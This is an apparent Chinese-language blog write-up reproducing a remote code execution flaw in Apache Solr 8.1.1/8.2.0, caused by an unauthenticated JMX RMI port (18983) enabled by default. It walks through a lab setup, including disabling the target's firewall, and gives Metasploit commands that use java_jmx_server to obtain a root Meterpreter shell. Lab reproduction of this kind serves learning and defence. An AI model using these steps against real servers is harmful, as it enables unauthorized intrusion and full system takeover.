Apache Solr應用伺服器存在遠端程式碼執行漏洞?
1.描述
Apache Solr是一個開源的搜尋服務,使用Java語言開發,主要基於HTTP和Apache Lucene實現的。
Solr是一個高效能,採用Java5開發,基於Lucene的全文搜尋伺服器。Solr是一個獨立的企業級搜尋應用伺服器,很多企業運用solr開源服務。原理大致是文件通過Http利用XML加到一個搜尋集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。它的主要特性包括:高效、靈活的快取功能,垂直搜尋功能,高亮顯示搜尋結果,通過索引複製來提高可用性,提 供一套強大Data Schema來定義欄位,型別和設定文字分析,提供基於Web的管理介面等。
影響版本
- Apache Solr8.1.1
- Apache Solr8.2.0
環境
-
靶機:centos7
-
攻擊機:kali
-
攻擊軟體:msf
-
被攻擊環境: Apache Solr8.2.0
漏洞成因
預設的配置檔案solr.in.sh的選項ENABLE_REMOTE_JMX_OPTS欄位值被設定為”true”,這會啟用JMX監視服務並會在公網中監聽一個18983的RMI埠,沒有任何認證,也就是說在無需身份驗證情況下,攻擊者結合使用JMX RMI就會造成遠端程式碼攻擊。
在開放的埠上,利用 javax.management.loading.MLet的getMBeansFromURL 方法來載入一個遠端惡意的 MBean,就可以造成遠端程式碼執行了。 遠端的惡意MBean來自於metasploit提供的exploit/multi/misc/java_jmx_server,具體的payload攻擊載荷是meterpreter。
環境搭建
- 首先在靶機centos中安裝Apache Solr8.2.0
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
- 啟動一個solr的樣例服務
啟動條件:
- 需要root許可權
- 需要java8及以上版本
cd solr-8.2.0/bin
./solr -e dih -force
我們可以看到啟動成功了。這裡注意如果你的靶機防火牆沒關的話,區域網內其他主機訪問不了的。所以如果你是要在區域網內其他主機開啟這個URL的話請關閉靶機的防火牆,命令如下:
檢視防火牆狀態:
systemctl status firewalld
關閉防火牆:
sudo systemctl stop firewalld
漏洞利用
我們這次使用的工具就是kali自帶的 msfconsole ,進入 msfconsole 輸入如下命令:
msfconsole
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.33.150 //靶機IP
set RPORT 18983
run
大概就是這樣,我們成功獲得靶機的root許可權,可以看到前面靶機的root資料夾下面有一個漏洞環境的資料夾的。
不得不說 msf 真的?!還是不太熟練 msf 的操作,不太熟練 msf 的命令,等下次總結一下 msf 的命令吧!?
第一篇開始做漏洞複習按的文章,比較簡單哈!?,後面大家一起慢慢加油!!